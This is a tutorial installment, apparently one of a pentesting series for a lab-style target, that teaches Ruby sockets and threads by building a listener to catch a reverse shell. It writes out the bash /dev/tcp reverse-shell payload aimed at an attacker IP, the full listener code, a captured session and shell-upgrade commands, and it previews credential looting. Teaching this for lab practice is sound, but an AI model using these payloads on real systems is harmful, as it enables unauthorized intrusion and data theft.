// Ruby for Pentesters · Part 4

Catching a shell

Reflected output is clumsy. We write our own TCP listener in Ruby to catch an interactive reverse shell — and learn sockets and threads doing it.

RubyReverse ShellSocketsThreads
5 min read

Part 3’s run executes one command and hands back a page you have to grep. For real work you want a shell — an interactive session on the box. The move is a reverse shell: we tell the target to connect back to us, and we catch that connection with a listener. You’ve probably used nc -lvnp for this. We’re going to write our own in about ten lines of Ruby, because doing so teaches two things you’ll use forever: sockets and threads.

A socket listener

Ruby’s socket library has a server class. Open a port and wait:

require 'socket'

server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"
  • TCPServer.new(host, port) binds a listening socket.
  • server.accept blocks — the program stops there until something connects, then returns a conn object (a socket) for that connection.
  • conn.peeraddr[3] is the connecting IP, so we can log who showed up.

The problem: two directions at once

Once the shell connects, data flows both ways: the shell sends output to us, and we send commands to it. If we just wrote one loop — conn.readpartial to read the shell — we’d be stuck reading and could never type. Reading and writing both block, and one program can only sit in one blocking call at a time.

The answer is threads. A thread is a second line of execution inside the same program. We put the “read from shell” loop in its own thread so it runs at the same time as the “read from keyboard” loop:

# Background thread: everything the shell sends -> our screen.
Thread.new do
  loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
  puts "\n[*] Shell closed."
end

# Main thread: everything we type -> the shell.
loop { conn.write($stdin.gets) }
  • Thread.new do ... end starts that block running concurrently.
  • conn.readpartial(4096) reads up to 4096 bytes as soon as any arrive — so shell prompts and output show immediately (unlike line-buffered reads).
  • When the shell dies, readpartial raises EOFError; we rescue it and print a notice instead of crashing.
  • The main thread stays in $stdin.gets, sending each line you type down the socket.

One threading gotcha worth knowing: a background thread that raises something it doesn’t rescue dies silently — the rest of the program runs on, none the wiser, and you’re left wondering why output stopped. While you’re building, flip that behavior on so a thread’s crash takes the whole program down loudly:

Thread.abort_on_exception = true

Our reader thread rescues its expected EOFError, but anything unexpected would otherwise vanish; this makes it visible.

Trigger it

Start the listener, then — from the Part 3 tool, in another terminal — fire the classic bash reverse-shell payload through run, pointing it at your IP:

LHOST = '10.10.14.5'
run("bash -i >& /dev/tcp/#{LHOST}/4444 0>&1")

bash -i is an interactive shell; >& /dev/tcp/<ip>/<port> redirects its input and output to a TCP connection back to you. Your listener’s accept returns, and you’re in:

$ ruby listener.rb
[*] Listening on 4444...
[+] Shell from 10.10.11.252
id
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

That’s a live, interactive foothold as ofbiz — and you’re holding it with a listener you wrote yourself.

Make the shell usable

That raw shell has no job control, no tab-completion, no arrow keys, and one stray Ctrl-C kills it. Before doing real work, upgrade it to a full PTY. This isn’t Ruby — it’s the standard post-exploitation dance, and you’ll run it every time you catch a shell:

ofbiz@bizness:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ofbiz@bizness:/$ ^Z
$ stty raw -echo; fg
$ export TERM=xterm
  • pty.spawn re-runs bash under a real pseudo-terminal, so programs that expect a TTY (sudo, ssh, text editors) behave.
  • Ctrl-Z backgrounds the shell to your local terminal; stty raw -echo; fg hands your keystrokes through untouched and resumes it; TERM=xterm gets you a working screen size and clears.

Now it feels like a normal terminal — which matters the moment you start escalating.

The listener, complete

#!/usr/bin/env ruby
require 'socket'

server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"

Thread.new do
  loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
  puts "\n[*] Shell closed."
end

loop { conn.write($stdin.gets) }

Takeaways

  • The socket library gives you raw TCP: TCPServer.new to listen, server.accept to take a connection (it blocks until one arrives).
  • readpartial(n) returns bytes as soon as they arrive — right for interactive streams; it raises EOFError at end of stream.
  • Threads (Thread.new do ... end) run code concurrently — the fix whenever you must read and write at the same time, because both block.
  • A reverse shell is just the target opening a socket back to your listener; bash -i >& /dev/tcp/ip/port 0>&1 is the payload.
  • A background thread’s unrescued error dies silently; Thread.abort_on_exception = true surfaces it while you build.
  • Once caught, upgrade the raw shell to a PTY (python3 -c 'import pty; ...'stty raw -echo; fg) so job control and interactive programs work.

Exercises

  1. Read the listen port from the command line: port = (ARGV[0] || 4444).to_i, so ruby listener.rb 9001 picks a port and no argument still defaults to 4444.
  2. Print the connect time when a shell lands, using Time.now and interpolation.
  3. Tee the session: as the reader thread prints the shell’s output, also append it to a log file opened with File.open('session.log', 'a'). Everything the box sends is now on disk too.

Next — Part 5: with a shell as ofbiz, we go looking for credentials — and learn regex and file handling by looting OFBiz’s embedded database off disk.

← All parts